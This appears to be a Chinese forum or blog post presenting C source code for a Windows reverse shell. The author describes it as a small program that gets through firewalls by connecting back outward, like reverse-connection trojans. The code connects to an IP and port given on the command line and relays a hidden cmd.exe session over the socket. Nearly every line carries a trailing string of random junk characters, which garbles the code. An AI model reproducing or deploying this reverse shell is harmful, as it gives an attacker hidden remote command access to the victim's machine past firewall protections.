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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $M8>SLd  
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/* ============================== Ws}kb@5  
Rebound port in Windows NT q[,R%6&'  
By wind,2006/7 f4\p1MYQ  
===============================*/ *M\i4FO8  
#include l7r N  
#include 4- ?`#  
;^H+ |&$>  
#pragma comment(lib,"wsock32.lib") QWQ6j#`  
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void OutputShell(); Stp*JU  
SOCKET sClient; { P\8g8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >i#_)th"U!  
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void main(int argc,char **argv) \"sSS.'  
{ *"9)a6T t+  
WSADATA stWsaData; jP7+s.j>  
int nRet; %imBGh  
SOCKADDR_IN stSaiClient,stSaiServer; S|5lx7  
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if(argc != 3) 7<C~D,x6  
{ ]&tr\-3  
printf("Useage:\n\rRebound DestIP DestPort\n"); xYkgNXGs5  
return; vS,G<V3B  
} v %PWr5]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); N=?kEX O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A%2M]];%X  
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stSaiClient.sin_family = AF_INET; =D"63fP1  
stSaiClient.sin_port = htons(0); )V =K#MCK  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m^u&g&^  
~9ls~$+*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F8r455_W"  
{ ?0)XS<  
printf("Bind Socket Failed!\n"); < $?}^ 0R  
return; @Y<ZT;J  
} >*Z{@1*h  
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stSaiServer.sin_family = AF_INET; FSZoT!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rb>RjHo S  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %JH_Nw.P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ';T5[l,  
{ 1AEVZ@(j7  
printf("Connect Error!"); M$hw(fC|m1  
return; ..]X<  
} M[3w EX^  
OutputShell(); D"XQ!1B%  
} ii] =C(e9  
~^ 5n$jq  
void OutputShell() 9QQ@Y}  
{ CR PE?CRQF  
char szBuff[1024]; :W<,iqSCm  
SECURITY_ATTRIBUTES stSecurityAttributes; WHj4#v(  
OSVERSIONINFO stOsversionInfo; C-b%PgA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #1hz=~YO  
STARTUPINFO stStartupInfo; .AI'L|FQ%c  
char *szShell; [^BUhm3a  
PROCESS_INFORMATION stProcessInformation; N~<}\0  
unsigned long lBytesRead; la{:RlW  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d`][1rZk  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  G#n)|p  
stSecurityAttributes.lpSecurityDescriptor = 0; 5z mHb  
stSecurityAttributes.bInheritHandle = TRUE; c]v3dHE_h  
j I@$h_n  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |DS@90}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yNf=Kl  
 p:>?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +=04X F:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ITY!=>S-  
stStartupInfo.wShowWindow = SW_HIDE; Hh=::Bi  
stStartupInfo.hStdInput = hReadPipe; ~W2&z]xD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >{) #|pWU  
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GetVersionEx(&stOsversionInfo); b2kbuk]  
!*. nR(>d  
switch(stOsversionInfo.dwPlatformId) 0aoHv  
{ GYmBxX87  
case 1: }uj'BO2?  
szShell = "command.com"; d3J_IW+8R$  
break; w*kFtNBfU  
default: h_"/@6  
szShell = "cmd.exe"; G9":z|  
break; f]65iE?x  
} )KQv4\0y<  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BU{ V,|10a  
kAQZj3P]  
send(sClient,szMsg,77,0); .-6s`C2 Y}  
while(1) / H/Ne )r  
{ $ttr_4=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fv'P!+)t  
if(lBytesRead) b'"%   
{ ;pK"N:|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c)YGwkY,,  
send(sClient,szBuff,lBytesRead,0); w/D m  
} zk~rKQ,  
else 2l4i-;  
{ 6Tmb@<I_  
lBytesRead=recv(sClient,szBuff,1024,0); ^`5Yxpz  
if(lBytesRead<=0) break; Z`KXXlJ^i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QHz76i!=>  
} p<['FRf"  
} !+ hgKZ]  
{!bJ.O l  
return; t[ocp;Q  
}
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